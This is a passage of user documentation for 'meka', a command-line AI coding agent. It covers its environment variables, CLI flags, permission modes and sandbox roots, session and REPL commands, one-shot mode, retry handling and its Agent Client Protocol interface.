--provider; the model, base URL and every other model-tied setting come from the selected profile; secrets come from the database viameka provider. There are no provider env vars. This is deliberate: an ambientOPENAI_API_KEYorMEKA_PROVIDERleft in the environment must never silently rebind which account a named profile bills.
meka-Specific Variables
| Variable | Description | Example |
|---|---|---|
MEKA_PERMISSION | Default permission mode | none, read, workspace, ask, unrestricted |
MEKA_INSTRUCTIONS | Standing instructions as a string, overriding the instructions.md file. Equivalent to --instructions. Used by the mekabox container wrapper, which mounts the config directory read-only and so cannot supply a file. | Be terse. |
MEKA_INSTRUCTIONS_FILE | Standing instructions read from this path (a file, or a directory of *.md). For a file you did not choose the location of, such as a Kubernetes ConfigMap. Conflicts with MEKA_INSTRUCTIONS. | /run/secrets/meka-instructions |
MEKA_CONFIG_DIR | Override the default config directory. Points at the meka directory itself (contains config.toml and skills/). The only isolation knob that works on every platform: dirs::config_dir() ignores $XDG_CONFIG_HOME on macOS/Windows. Must be absolute; an empty or relative value is ignored with a warning rather than loading ./config.toml from wherever meka happened to start. | /tmp/meka-test/meka |
MEKA_DATA_DIR | Override the default data directory (where meka.db lives). Same cross-platform escape hatch: dirs::data_dir() ignores $XDG_DATA_HOME on macOS/Windows. Useful for tests, portable installs, and per-project session isolation. Must be absolute, for the same reason as above and more sharply: meka.db holds every provider credential. | /tmp/meka-test/data/meka |
MEKA_SANDBOX_BACKEND | Override [shell].sandbox_backend (Linux only). Pinning a value also suppresses the “install Bubblewrap” auto-resolve warning. Used by the mekabox wrapper to pin Landlock in the container without editing the read-only host config. | landlock, bubblewrap |
MEKA_RENDER_MODE | Override [display].render_mode. Handy for CI / non-TTY runs that want plain output. | syntect, termimad (default), raw |
MCP Variables
| Variable | Description | Default |
|---|---|---|
MEKA_MCP_TOOL_TIMEOUT | Per-call timeout for MCP tools, in milliseconds. Applies to every remote tool invocation; on timeout meka cancels the request and returns an error to the model. | 600000 (600s) |
MEKA_MCP_STDIO_CONCURRENCY | How many stdio servers meka may spawn at once at startup. Each is a process launch, so raising it trades startup latency for load; lower it on a machine where several heavy servers starting together is the problem. | 3 |
MEKA_MCP_HTTP_CONCURRENCY | How many HTTP servers meka may connect to at once at startup. Higher than the stdio limit because a connect is a request rather than a process. | 20 |
Logging
meka uses the tracing framework. The log level can be controlled with:
| Variable | Description | Example |
|---|---|---|
RUST_LOG | Standard Rust log filter | meka=debug, meka=trace |
If RUST_LOG is not set, the verbosity flag (-v, -vv, -vvv) controls the level:
| Flag | Level |
|---|---|
| (none) | warn |
-v | info |
-vv | debug |
-vvv | trace |
Logs are written to stderr so they do not interfere with agent output.
CLI Options
meka [OPTIONS] [PROMPT]
meka <COMMAND>
Commands
provider
Manage provider profiles (add, list, switch, login, remove). meka provider add writes a
[providers.<name>] profile to ~/.config/meka/config.toml and stores its secret in the database.
meka provider add work --type claude-subscription --model claude-opus-5
meka provider list
meka provider set work model claude-opus-5
meka provider use work
meka provider login work
meka provider remove work
See the meka provider CLI reference for the full flag list.
session
Manage stored sessions: list them, show one in full, export one as Markdown, or delete them.
Every <SESSION_ID> is a full id or any unique prefix of one, which is what the listings print.
meka session list [-n <LIMIT>] # default limit: 20
meka session show <SESSION_ID> # full id, cwd, permission, opening message
meka session export <SESSION_ID> [-o <PATH>] # -o - prints to stdout
meka session delete <SESSION_ID>...
meka session delete --older-than-days <DAYS>
meka session delete --all
See Sessions for details.
schedule
Inspect and cancel the wakeups the agent scheduled for itself. There is no create: a job needs a
session for its turn to run in, and the agent creates one through schedule_create.
Every <ID> is a full id or any unique prefix of one, which is what list prints.
meka schedule list [--session <ID>] # every session's jobs, or one session's
meka schedule show <ID> # full prompt, gate command, session, withheld reason
meka schedule cancel <ID>
See Scheduling for details.
history
View or clear the REPL input history that powers Up-arrow / Ctrl+R recall (distinct from saved
sessions and from the /history slash command).
meka history list [-n <LIMIT>] # default 50; -n 0 shows all
meka history clear
Arguments
[PROMPT]
Run the agent’s first turn immediately with this text as the user message, then drop into the interactive REPL for follow-up. Pair with --oneshot to exit after the first turn instead of opening the REPL.
meka "list all files larger than 1MB in the current directory" # first turn, then REPL
meka --oneshot "list all files larger than 1MB" # first turn, then exit
When omitted, meka starts the REPL with no initial input.
Options
-c, --continue
Continue the most recently updated session. Takes no value.
meka -c # pick up where you left off
meka -c "and now add tests" # …with an opening prompt
Starting fresh when there is no session yet is not an error; meka just begins a new one.
-r, --resume <SESSION>
Resume a specific session. Accepts either the full UUID or any unique leading prefix.
meka -r 550e8400-e29b-41d4-a716-446655440000 # full UUID
meka -r 550e # prefix; works if unique
meka -r 550e "and now add tests" # …with an opening prompt
Errors if the session does not exist, the prefix matches multiple sessions (with the matching IDs listed for disambiguation), or the session is locked by another meka instance.
-c and -r are mutually exclusive. Both work with --oneshot, which runs a single turn against the session and exits:
meka --oneshot -r 550e "summarise what we decided"
Breaking change.
-cused to take an optional session ID (meka -c 550e8400); that spelling now belongs to-r. Because-cwas the only flag that could swallow the following argument,meka -c "fix the bug"read the prompt as a session ID and failed with a confusing error. Passing an ID to-cnow tells you to use-r.
--permission <MODE>
Set the initial permission mode. Accepts none (or n), read (or r), workspace (or w), ask (or a), unrestricted (or u).
meka --permission workspace
meka --permission ask
Default: read.
Recorded on the session, so a resume comes back at the level the session was last at rather than at
the default. Passing --permission alongside -c / -r repins it, the way --provider does. A
level that is no longer in [permissions].enabled is not granted on resume: the session drops to
the configured default with a warning.
--writable-root <PATH>
Add a directory to the workspace, so writes may land there at workspace permission. Repeatable.
The working directory is always a root; this adds to it.
meka --permission workspace --writable-root ../shared-assets --writable-root /srv/build
Deliberately a flag rather than a config key: which folders this run may write is a per-run scope, like the working directory itself, not a preference to persist.
A path that does not resolve at startup is reported as a warning and kept, so a build directory that does not exist yet becomes a root the moment it does. A path that is not a directory, or a system directory the sandbox masks, is refused with a warning: neither can be expressed as a boundary by every backend.
The masked set is the filesystem root itself plus /proc, /dev, /sys, /run, /tmp and
/var/tmp, and /run/user and $XDG_RUNTIME_DIR as whole subtrees. A root is refused when it is
one of these and when it is an ancestor of one, but not when it is merely underneath: a root
under one of these is usually fine and refusing it would be a real loss, since
/run/media/$USER/drive is an ordinary external disk. The ancestor half is why --writable-root /var is refused, and it is also why --writable-root ~ is refused on WSL and on minimal window
managers, where $XDG_RUNTIME_DIR lives under $HOME and so binding $HOME would hand the session
bus back. /tmp and /var/tmp are in the set because
Bubblewrap masks them with a tmpfs and then binds the requested root back over it, last mount
winning: binding /tmp/work restores just that directory, but binding /tmp restores the entire
host /tmp including every X11, D-Bus and tmux socket in it, which is a route straight back out of
the sandbox. The cost is that a session started with cd /tmp has no write boundary, which is the
safe direction to fail.
The flag reaches the REPL, one-shot runs, and ACP sessions. It does not reach sessions created
through POST /v1/sessions, which are single-root by design, and therefore does not reach a
scheduled turn under meka serve either: those run in the session the job belongs to, which the
HTTP API created.
-p, --provider <NAME>
Select which configured provider profile a session runs on. Takes the name of a profile from
[providers.<name>], overriding default_provider in the config file. The choice outlives the run:
on a new session it is what gets recorded, and on a resume it rewrites the row.
meka -p work
meka --provider work
The value is a profile name (e.g. work, personal), not a backend type. List configured profiles with meka provider list.
A new session records the profile it runs on, so meka -c later comes back on it rather than on
default_provider. Passing --provider alongside -c / -r repins the session: the row is
rewritten and it keeps that profile from then on. See
what a resume restores.
There is no
--model,--base-url,--thinkingor--thinking-budget. A profile is an indivisible bundle of a backend, an endpoint, a credential and every model-tied setting, and a session records which one it runs on rather than a rewritten copy. To change a setting, edit the profile withmeka provider set; to run something different, make a second profile and select it with--provider.
--no-stream
Disable streaming mode. The agent waits for the complete response before displaying it. By default, responses are streamed token-by-token.
meka --no-stream
--render-mode <MODE>
Set the output render mode. Accepts termimad (default, or rich), syntect, or raw.
syntect: Syntax-highlighted markdown source, including per-language code blocks. Nothing is reflowed, so a table with long cells runs past the terminal width.termimad: Rendered markdown, reflowed to the terminal: paragraphs re-wrap, wide tables wrap inside their box, and markers are consumed rather than shown. meka parses the CommonMark itself, so-/+bullets,__bold__,_italic_, ordered lists, and links all render. Colours come from the same theme assyntect, and fenced code blocks are syntax-highlighted by it.raw: Raw markdown printed verbatim with aligned tables.
termimad is the default: meka’s own output is table-heavy (task_list, scratchpad_list, anything the model tabulates), and those run past the right edge under syntect. Pick syntect when you want to see the markdown source as the model wrote it.
meka --render-mode raw
Can also be set permanently via display.render_mode in the config file.
--instructions <STRING>
Standing instructions for this run, replacing the instructions.md file and both MEKA_INSTRUCTIONS* environment variables. Takes the text itself, not a path; use "$(cat file.md)" to read one.
meka --instructions "Be terse. No code fences in answers."
--skill <NAME>
Invoke a skill as the first turn. Mirrors the REPL slash command /skill <name> [extra...]. The positional [PROMPT] arg, if given, is prepended to the rendered skill body as additional context. Pair with --oneshot to exit after the turn instead of opening the REPL.
meka --skill download-videos "https://example.com/video" # first turn, then REPL
meka --skill download-videos --oneshot "https://example.com/video" # first turn, then exit
Errors out with a clean message if the skill name is unknown.
--oneshot
Exit after the first turn finishes. Requires either the positional [PROMPT] or --skill <NAME>; without one of those, meka has nothing to do. Useful for scripts and CI invocations.
meka --oneshot "summarize the last commit"
meka --oneshot --skill deploy "to staging"
--eager-load-tool <SERVER:TOOL>
Eager-load a specific MCP tool for this session, bypassing the load_tool round-trip. The tool’s schema ships in the cacheable tools-array prefix from turn 1 instead of being deferred. Mirrors the per-server eager_load_tools config field: repeatable, raw tool names (the server-advertised form, not mcp__<server>__<tool>).
Particularly useful for scripted runs that know up front which tools they’ll need. The flag appends to whatever eager_load_tools lists in config.toml for that server; it doesn’t replace existing entries. Unknown server names log a warning and are skipped.
meka --eager-load-tool notion:search --eager-load-tool github:create_issue \
--oneshot "search Notion for the deploy runbook and open a GitHub issue"
-v, --verbose
Increase log verbosity. Can be repeated up to three times.
meka -v # info
meka -vv # debug
meka -vvv # trace
--help
Print help information.
--version
Print version information.
Interactive Mode
Start meka without --oneshot to enter interactive mode:
meka
You get a prompt:
meka [r] >
Type your instruction and press Enter to submit. The agent processes your request and prints its response (streamed in real time as Markdown). When it finishes, you get another prompt.
Keybindings
meka uses Emacs-style keybindings (provided by reedline).
Input
| Key | Action |
|---|---|
| Enter | Submit the current prompt |
| Alt+Enter, Shift+Enter | Insert a newline (for multi-line input) |
| Shift+Tab | Cycle the permission mode, skipping any not in [permissions].enabled (by default none → read → workspace → unrestricted → none) |
Navigation
| Key | Action |
|---|---|
| Ctrl+A | Move cursor to start of line |
| Ctrl+E | Move cursor to end of line |
| Ctrl+F | Move cursor forward one character |
| Ctrl+B | Move cursor backward one character |
| Alt+F | Move cursor forward one word |
| Alt+B | Move cursor backward one word |
| Up / Down | Recall the previous / next input from history |
Editing
| Key | Action |
|---|---|
| Ctrl+D | Delete character under cursor / exit on empty line |
| Ctrl+H, Backspace | Delete character before cursor |
| Ctrl+K | Kill text from cursor to end of line |
| Ctrl+U | Kill text from start of line to cursor |
| Ctrl+W | Kill word before cursor |
| Ctrl+Y | Yank (paste) killed text |
Control
| Key | Action |
|---|---|
| Ctrl+C | Interrupt the running agent; clear the line if idle |
| Ctrl+D | Exit the shell (when the line is empty) |
| Ctrl+R | Reverse incremental search through history |
| Ctrl+L | Clear the screen |
Input History
The prompts you type are saved to meka’s SQLite database, so Up / Down and Ctrl+R recall what
you typed in any previous run. A brand-new meka, a resumed meka -c, and the current
session all share one history. Multi-line prompts are preserved intact, and only the most recent
entries are kept (older ones are pruned). This input history is separate from the conversation
shown by /history.
Prompt Format
meka [indicator] >
The indicator shows the current permission mode:
| Mode | Indicator | Color |
|---|---|---|
| None | [n] | Green |
| Read | [r] | Yellow |
| Ask | [a] | Magenta |
| Workspace | [w] | Orange |
| Unrestricted | [u] | Red |
The color provides a visual cue about the agent’s current capabilities. Orange means the agent can modify your system inside the workspace roots; red means it can modify anything you can.
Multi-Line Input
Press Alt+Enter or Shift+Enter to insert a newline instead of submitting. The prompt changes to show continuation:
meka [r] > write a python script that
... prints hello world
... and saves it to hello.py
Press Enter on the last line to submit the entire multi-line input.
Pasting multi-line content also works seamlessly: all pasted lines appear in the buffer for review, and you press Enter to submit.
Slash Commands
meka supports / prefix commands for controlling the shell:
| Command | Description |
|---|---|
/help | Show available commands |
/exit | Exit the shell |
/clear | Clear the terminal screen |
/session | Show the current session ID |
/permission [none|read|workspace|ask|unrestricted] | Show or set the permission level |
/provider [profile] | Show or change the provider profile this session runs on |
/compact | Summarize and compact the session history |
/rewind [N] | Drop the last N turns (default 1) from the conversation the model sees |
/fork | Branch into a copy of this session, freezing the original where you are |
/export | Write the session to session-<id>.md and print where it landed |
/cd [path] | Change working directory; with no path, return to where meka was started (~ still goes home) |
/skill | List installed skills |
/skill <name> [extra...] | Invoke a skill as the next turn, prepending anything you type after the name |
/memory | List saved memories, most important first |
/memory <name> | Print one memory’s body |
/schedule | List this session’s scheduled jobs |
/schedule show <id> | Show a scheduled job’s full details |
/schedule cancel <id> | Cancel a scheduled job by id or unique prefix |
/tasks | List this session’s background tasks |
/tasks show <id> | Show a background task’s full details |
/tasks cancel <id> | Stop one background task by id or unique prefix |
/tasks cancel --all | Stop every running background task |
/mcp list | List configured MCP servers with their live state (pending / connected / failed / disabled) |
/mcp reconnect <server> | Smoke-test connect for one server |
/mcp login <server> | Run the OAuth flow from the REPL |
/mcp logout <server> | Revoke cached credentials for a server |
/mcp <server>:<prompt> [args...] | Render a server-defined prompt and send it to the agent |
/status | Show the resolved model/provider/effort/thinking, plus live context-window usage and cumulative turns, tokens, cache hit ratio, redactions, message count |
/usage | Show the account’s rate-limit usage (subscription providers): session/weekly windows, percent used, reset times |
/history [N] | Reprint past conversation styled like the live REPL. Bare /history dumps everything; /history N shows the last N turns |
Press Tab after typing / to open a completion menu of command names, each shown with its description; keep typing to narrow it (/comp + Tab completes to /compact). Tab also completes arguments: permission levels for /permission, configured profile names for
/provider, installed skill names for /skill, the subcommands and configured servers for /mcp, and directory paths for /cd (Tab again after a completed directory drills into its subdirectories). The leading command token is colored as you type: an accent color when it names a known command, an error color when it does not.
/history
Replays prior messages in the current session so you can scroll back through context without exiting and re-resuming. /history with no argument dumps every materialised message; /history 5 shows the last 5 turns (a turn = the user’s prompt plus everything the agent did to respond). Any non-numeric argument (/history all, /history foo) falls back to the dump-everything path.
The renderer mimics the live REPL: assistant text flows through the same markdown highlighter, tool calls honour display.tool_params (by default a one-line [tool ReadFile(...)] indicator), and thinking blocks honour [thinking].show_content, rendered by the same renderer the live turn streams into so a replayed block looks like the one you watched arrive. User prompts are prefixed with a cyan > so they stand out from agent text.
One difference: a call to a tool from an MCP server replays as a bare [tool name], without the argument it showed live. Which of a tool’s arguments is the one worth showing comes from its JSON Schema, which the server publishes at connect time and the conversation does not store; meka knows its own tools’ arguments from their names alone, so those replay in full.
For users who always want extra context at resume time, set display.resume_show_recent; the resume code path then renders the last N turns through the same function.
/status
Print the session’s resolved model parameters followed by its cumulative counters:
Session status
Provider: claude-max (claude-subscription)
Model: claude-opus-4-8
Context: 128.4k / 1.0M (13% used, 871.6k left)
Effort: xhigh
Thinking: adaptive
Turns: 23
Input tokens: 234.5k (cache hit: 92%)
Output tokens: 12.1k
Redactions: 2 (12 images, ~38 MiB freed)
Messages: 47
The top block reports what the session actually resolved to, in the order
[providers.<name>] declares the same fields,
so the two can be read side by side: the active profile and its backend (type), the Model, the
Context window, the reasoning Effort sent on the wire (omitted when nothing is sent, so the
provider applies its own default; claude-subscription sends high when the profile sets none),
and the Thinking mode. The rest are cumulative counters for the session.
Context is the live context-window occupancy: the total tokens of the most recent exchange (all input tiers plus output, i.e. what the next request re-sends minus your new prompt), against the active model’s context window, with the percent used and tokens remaining. Use it to decide whether to /compact before continuing; after /compact it drops to the compacted size immediately. It reflects this session only; sub-agents spawned via agent_spawn have their own context and are not counted (a sub-agent’s returned result is counted only once it lands in this session as a tool result). It is shown from the start, at 0 / <window> before the first turn, since the window is your context_window setting (or the documented default) and this is where you confirm it took effect; it is omitted only when the window is unknown. Set display.show_context_in_prompt to show the same gauge in the prompt itself.
Input tokens (and the other cumulative counters) is the total billed across every turn of the whole session. These totals are persisted, so resuming a session with meka -c continues them rather than restarting at zero.
cache hit is the share of input tokens served from the prompt cache rather than re-sent at full price. It should climb quickly and stay high: meka keeps everything that changes mid-session out of the cached prefix, so a steady session re-reads the cache instead of rewriting it. Expect it to drop once after a /compact (which rewrites the head of the conversation) and to recover on the following turns.
Redactions reports any times the Claude provider had to drop oldest tool-result image blocks because the request body would have exceeded Anthropic’s 32 MiB ceiling. A non-zero count indicates the cache prefix was invalidated for the redacted messages. See display.show_token_usage for a per-turn variant of the same data.
/usage
Fetch the account’s current rate-limit usage from the active provider and print each rolling window with its percentage used and reset time:
Account usage
5-hour (session) [#---------] 8% used (resets in 4h 12m, 2026-07-02 02:10)
Weekly [----------] 2% used (resets in 22h 50m, 2026-07-02 13:00)
This is distinct from /status, which reports this session’s own token counters. /usage queries the provider for your whole-account subscription limits. It works only for OAuth subscription providers that expose a usage endpoint (claude-subscription’s 5-hour and weekly windows; chatgpt-subscription’s primary/secondary windows plus plan and credit balance). For API-key backends, OpenAI-compatible endpoints, and Ollama, it prints a short “not available for this provider” note instead. The same command is available under ACP.
/compact
The /compact command asks the LLM to summarize the entire conversation, then replaces the messages the model sees with a single summary message followed by the recent tail. This is useful for long sessions that are approaching the context window limit or becoming expensive.
After compacting, the session continues with the summary as context. The pre-compaction messages are never deleted: they stay in the underlying event log on disk (the model just no longer sees them). meka session export walks that full log, so an export always contains the entire conversation including the compacted-away turns, with a marker at each compaction point.
/rewind
/rewind drops the most recent turn from the conversation, so the model no longer sees it or your prompt that started it. /rewind N drops the last N. The cut always lands on a turn boundary, so a tool call is never separated from its result.
Like /compact, nothing is deleted: the dropped turns stay in the event log on disk, and meka session export still shows them with a marker where the rewind happened.
Use it to take back a prompt that sent the agent down the wrong path without paying for a summary, or to recover a session the provider has started refusing. meka repairs a rejection it causes itself (see below), but content that entered the conversation earlier is out of its reach; rewinding past it is the way back. meka session rewind <id> does the same to a session you are not currently in.
Recovering from a rejected message
Providers validate the whole conversation on every request, so one piece of content they refuse would otherwise fail every later turn as well, permanently. When that happens, meka strips the offending content from what it added this turn, retries once, and hands the model the provider’s own complaint as a failed tool result so it can adapt rather than silently losing the data. If the retry is refused too, the original content goes back untouched and the turn reports the provider’s error.
A mislabelled image already committed to the session is repaired when you resume it, without a provider round trip. For anything further back, use /rewind.
Recovering from a call that got no answer
A refusal is one thing the provider says; a request that never got a usable reply at all is another. A connection that fails or is reset while the request is going out is retried with backoff (up to twice, waiting 1s then 2s), and so is a response body that could not be read back. The turn continues as if the failed attempt had not happened, and nothing about it enters the conversation. Only when the retries run out does the turn report the error.
Worth knowing what a retry can cost. When the failure was a body that could not be read, the provider had already generated the response and billed you for it, so the retry pays a second time. meka does it anyway, because the alternative is losing the turn for content you have already been charged for once, but it is not free.
Two failures are not retried, because the next attempt is known not to be worth making: a request meka could not build, and a URL that redirects in a loop. A redirect loop points at a misconfigured base_url; a request that could not be built points at whatever went into it, most often a base_url that is not a URL or a stored credential carrying a character that cannot go in a header.
Retrying is bounded by time as well as by count, and the time bound is the one that usually decides. A failure that takes the full read timeout to arrive costs five minutes, which spends the whole budget, so a call that hung is reported rather than tried again: retrying is for a failure that was cheap, and a provider that went silent for five minutes has already taken more of your turn than a second silence is worth. Without the bound at all, three slow failures would be fifteen minutes of waiting on a turn that fails anyway.
The bound stops a new attempt starting rather than capping the total, so the worst case is a failure arriving just under the five minutes and permitting one more full-length attempt after it, for about ten in total.
/fork
/fork copies the current session and switches you into the copy, printing its ID. Your conversation carries over untouched, so the branch happens exactly where you are; the original stops there and keeps everything up to that point.
Use it before trying a direction you might want to back out of, or before /compact if you’d rather keep the uncompacted conversation around. To go back, exit and resume the original with meka -r <old-id>.
The copy is a fully independent session with no link back to its source. (/fork only ever runs
against the session you are in, which is never a sub-agent, so the sub-agent case below cannot arise
here.) See Forking a Session for exactly what it carries.
Shell Escape
Prefix any input with ! to execute it directly as a shell command, bypassing the LLM entirely:
meka [r] > !pwd
/home/user/projects
meka [r] > !ls -la
total 32
drwxr-xr-x 5 user user 4096 Mar 4 10:00 .
...
meka [r] > !ping 1.1.1.1 -c 2
PING 1.1.1.1 (1.1.1.1) 56(84) bytes of data.
...
The command runs with inherited stdin/stdout/stderr, so it behaves exactly like a regular shell. This is useful for quick checks without waiting for the LLM.
Exiting
You can exit meka in any of these ways:
- Type
/exit - Type
exitorquit - Press Ctrl+D on an empty line
Interrupting the Agent
Press Ctrl+C while the agent is running to interrupt it. This cancels the current LLM request and kills any running shell commands that were spawned by the agent.
One-Shot Mode
One-shot mode runs a single prompt and exits, similar to bash -c. It takes --oneshot:
meka --oneshot "your prompt here"
The agent processes the prompt (including any tool calls), prints its response, and the process terminates. The session UUID is printed to stderr on exit.
A prompt without --oneshot is not a one-shot run: it seeds the first turn and then leaves you at the REPL prompt, which is the right default when you are working interactively and the first thing you want is already in your shell history.
--oneshot requires something to do, so it needs a prompt argument or --skill.
An empty or whitespace-only prompt is rejected rather than sent.
--permission ask has nothing to ask from here: there is no prompt to answer, so every tool that needs approval is refused. meka says so once at startup and names each tool as it is refused, but the run is still less useful than it looks. Use read, workspace or unrestricted for a non-interactive run, or meka serve if you need a human in the loop over an API.
Examples
# Simple question
meka --oneshot "what is my current working directory?"
# File operations (requires workspace permission)
meka --oneshot --permission workspace "create a file called notes.txt with today's date"
# Search
meka --oneshot "find all TODO comments in this project"
# Web search
meka --oneshot "search the web for the latest Rust release"
Combining with Other Flags
All configuration flags work in one-shot mode:
# Use a specific provider profile
meka --oneshot --provider work "explain this codebase"
# With workspace permission
meka --oneshot --permission workspace "run 'cargo test' and summarize the results"
# Disable streaming
meka --oneshot --no-stream "read README.md and summarize it"
# Run one turn against an existing session
meka --oneshot -r 550e8400 "summarise what we decided"
Session Behavior
One-shot mode creates a new session for each invocation, unless you point it at an existing one with -c (most recent) or -r <SESSION> (specific). Those run a single turn against that conversation and exit, which is the usual shape for scripting against a session built up earlier.
The session UUID is printed to stderr when the run completes:
Session: 550e8400-e29b-41d4-a716-446655440000
You can resume this session later in interactive mode:
meka -r 550e8400-e29b-41d4-a716-446655440000
Piping
The answer goes to stdout and everything else to stderr, so meka -p … 2>/dev/null | next-tool
hands the next tool only what you asked for. That holds for every command, not just this one.
A reader that stops reading is its own decision, and meka exits 0 for it:
meka -p "summarise this log" | head -20 # exits 0; head got its lines
A stdout that cannot take the answer is a different thing, and fails the run:
meka -p "summarise this log" > /full/disk # exits non-zero, and says why on stderr
The distinction matters in a script: the first is how pipelines end, the second is data you asked for and did not get.
ACP (Agent Client Protocol)
meka acp speaks the Agent Client Protocol over stdio so editor / web / messenger clients can drive a meka turn end to end. Where Interactive Mode and One-Shot Mode are for humans, ACP is for programs that want to host meka inside a richer UI: streamed diffs, native apply-buttons, hosted terminals, and slash-command palettes.
This page describes what meka’s ACP surface looks like to a client. Editor-specific setup belongs in each editor’s own documentation; the protocol contract is the same everywhere.
Starting an ACP server
meka acp
The process speaks JSON-RPC 2.0 with newline framing on stdio. There is no human-facing prompt; the binary is meant to be spawned by a client that owns the conversation. The client sends initialize, then session/new (or session/load / session/resume), then a series of session/prompt calls.
A few flags are worth knowing:
| Flag | Effect |
|---|---|
-v | Logs to stderr at info (incoming client identity, session lifecycle). |
-vv | debug (per-request JSON-RPC diagnostics). |
RUST_LOG=meka=trace | Trace level. |
Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and this host creates one per session/new, each naming its own provider profile. A new session starts on the host’s default; move it with session/set_config_option, and session/load restores whichever profile a session already recorded. --provider is accepted, since it selects which configured profile a session gets when it names none, which is a property of the connection rather than of one session.
On startup, after the client’s initialize arrives, meka logs ACP client connected: <name> <version> so you can confirm the client identity in -v mode.
What meka advertises (agentCapabilities)
These are returned in InitializeResponse.agentCapabilities:
loadSession: true: the client may callsession/loadwith any persisted session id.sessionCapabilities.list: the client may callsession/listto browse the persisted session catalogue (cwd-filtered, cursor-paginated; sub-agent audit sessions are hidden).sessionCapabilities.resume: the client may adopt a persisted session id without replaying history.sessionCapabilities.fork: the client may branch a copy off a persisted session (see Forking). Unstable in the protocol.sessionCapabilities.close: the client may release the active session slot.sessionCapabilities.additionalDirectories: the client may send extra workspace roots onsession/new,session/load, andsession/resume(see Multi-root workspaces).promptCapabilities.embeddedContext: true: the client may inline @-mentioned file contents as embeddedresourceblocks (see Prompt turn).promptCapabilities.image: follows the default profile’svisionflag (defaulttrue; setvision = falsein[providers.<name>]for a text-only model). Per connection rather than per session, becauseinitializeis answered before any session exists. Whether a givensession/promptaccepts an image block is decided per session from the profile that session runs on, so a session moved onto a text-only profile refuses attachments even on a connection that advertisedimage.
mcpCapabilities is intentionally not advertised. meka is itself an MCP client, but the servers it consumes are configured via meka’s own config.toml rather than the mcpServers field on session/new. Advertising HTTP/SSE while silently ignoring the client’s array would have been misleading; the marker will return when client-supplied MCP server connections are actually implemented.
agentInfo carries meka’s name ("meka") and the running binary version.
What meka consumes (clientCapabilities)
The client advertises these in InitializeRequest.clientCapabilities; meka stashes them and lets the built-in tools route accordingly:
fs.readTextFile: true:read_fileissuesfs/read_text_file { sessionId, path, line?, limit? }so the client serves the in-buffer view of the file. Image and regexread_filemodes have nofs/*analogue and stay local.fs.writeTextFile: true:write_fileandedit_file’s apply step issuefs/write_text_file { sessionId, path, content }. meka still attaches diff metadata to thetool_call_updateso clients with an apply-diff UI can render it.terminal: not consumed. It means “I implementterminal/*”, i.e. the agent may run commands in the client, which meka never does. See Shell commands stay inside meka._meta.terminal_output: true: the client renders agent-owned terminals, soexecute_commandoutput is streamed into a real terminal instead of a code block. A rendering choice only: meka still spawns and sandboxes the process either way. Advertised by Zed; independent of theterminalcapability above.elicitation.form/elicitation.url: when an MCP server asks the user for input mid-tool-call, meka issueselicitation/createso the prompt renders in the editor. The two modes are advertised independently and checked separately – a server asking for a form when onlyurlis advertised is declined rather than sent. Without the capability meka declines every elicitation, which is what it did unconditionally before. Elicitations raised inside a sub-agent forward to the parent session, like permission prompts.
If the client omits a capability, the matching tool falls back to local syscalls; the user-visible behaviour is the same as meka in the REPL.
Shell commands stay inside meka
execute_command never runs in the client’s terminal, whatever the client advertises and whatever the permission mode. meka spawns the process itself so everything it wraps a command in keeps applying: the sandbox that read and workspace depend on (Landlock / bwrap / sandbox-exec / restricted token), the environment scrub that keeps API keys out of the child, the per-session cwd from /cd, the timeout, and the process-group kill that reaches backgrounded grandchildren. The client’s terminal/* offers none of that.
meka used to delegate in any mode other than read, which made every sandboxed mode a bypass: meka would refuse to run at all when no sandbox backend was available, then hand the same command to an unsandboxed editor terminal. Delegation is gone rather than narrowed, so workspace keeps its boundary here exactly as it does in the REPL.
Live output
Because meka owns the process, it streams the output: while a command runs, what it has printed so far is pushed into the open tool call, so an editor shows a build or a test run progressing instead of a spinner. Updates are coalesced to at most one per 150 ms. stdout and stderr are interleaved in the live view, the way a terminal shows them, while the result the model sees keeps them separated.
How that output is drawn depends on the client:
Clients advertising _meta.terminal_output get an agent-owned terminal. meka announces one on the tool call, appends each chunk to it as it arrives, and closes it with the command’s real exit code and signal. The client renders a genuine terminal: ANSI colour, selection, full scrollback, and an expandable view in the tool call. meka still spawns and sandboxes the process; the client only draws the bytes it is handed. Nothing is executed on the client side, and no terminal/* request is ever sent.
Everything else gets a console code block, replaced on each update with a trailing window of the output. The complete output arrives in the final update when the command exits.
The terminal path uses an extension rather than ACP proper: _meta.terminal_info to announce the terminal (on the opening tool_call, which is where clients read it), _meta.terminal_output to append, _meta.terminal_exit to close it with the command’s real exit code. The convention comes from codex-acp, claude-agent-acp emits the same shape, and Zed consumes it, advertising _meta.terminal_output: true to say so. Gating on that key rather than on terminal matters: a client that implements terminal/* but not these frames cannot resolve the terminal, and would render nothing at all for it.
This is deliberately temporary. ACP v2 standardises agent-owned terminals as terminal_update / terminal_output_chunk, and meka should move to those once a client implements them; v2 is still a draft schema (v2.0.0-alpha.N, behind an off-by-default feature flag) that nothing speaks yet.
When the client won’t serve a path
Editors differ in which paths they will serve: Zed answers only for the project it has open, another client may serve any absolute path. meka models none of these rules. It asks per path and routes on the answer:
ResourceNotFound(-32002) means the client will not serve this path, so it holds no buffer for it. meka reads or writes the file locally, and a write says so in the tool result – the change still appears in that tool call’s diff, but not in the editor’s buffer or undo history. This is what keeps ACP as capable as the terminal: the agent can read and edit its own skills, prompts, and configuration even though they live outside the project.- Any other error means the client may own the file and hold unsaved changes for it, so the tool call fails instead of routing around the client. Reading on-disk bytes would hand the model a stale view of a file the user is editing, and writing them back would overwrite unsaved work.
The route is chosen once per tool call by the read, not per request: edit_file and write_file write back through whichever filesystem they read from, so a diff taken from the editor’s buffer isn’t applied to disk while the buffer keeps the old content. The read is also the more reliable signal – Zed reports an out-of-project path as ResourceNotFound on fs/read_text_file but as a generic error on fs/write_text_file, so a route chosen from the write’s own error would never recognise it.
One case can’t honour that: a client advertising fs.readTextFile but not fs.writeTextFile reads for meka and expects meka to do the write, so the edit lands on disk while the client still holds a buffer for the file. The tool result discloses that too, with its own note.
Session lifecycle
meka holds an in-memory map of sessionId → SessionEntry. Any number of sessions can coexist in one meka acp process, each with its own cwd, permission level, conversation, cancellation token, and per-session runtime mutex. Prompts on different sessions run in parallel; a second session/prompt for a session that already has one in flight is rejected with InvalidParams. The session row is also locked on disk (the same lock the REPL uses), so two meka processes can’t simultaneously write events for the same session id.
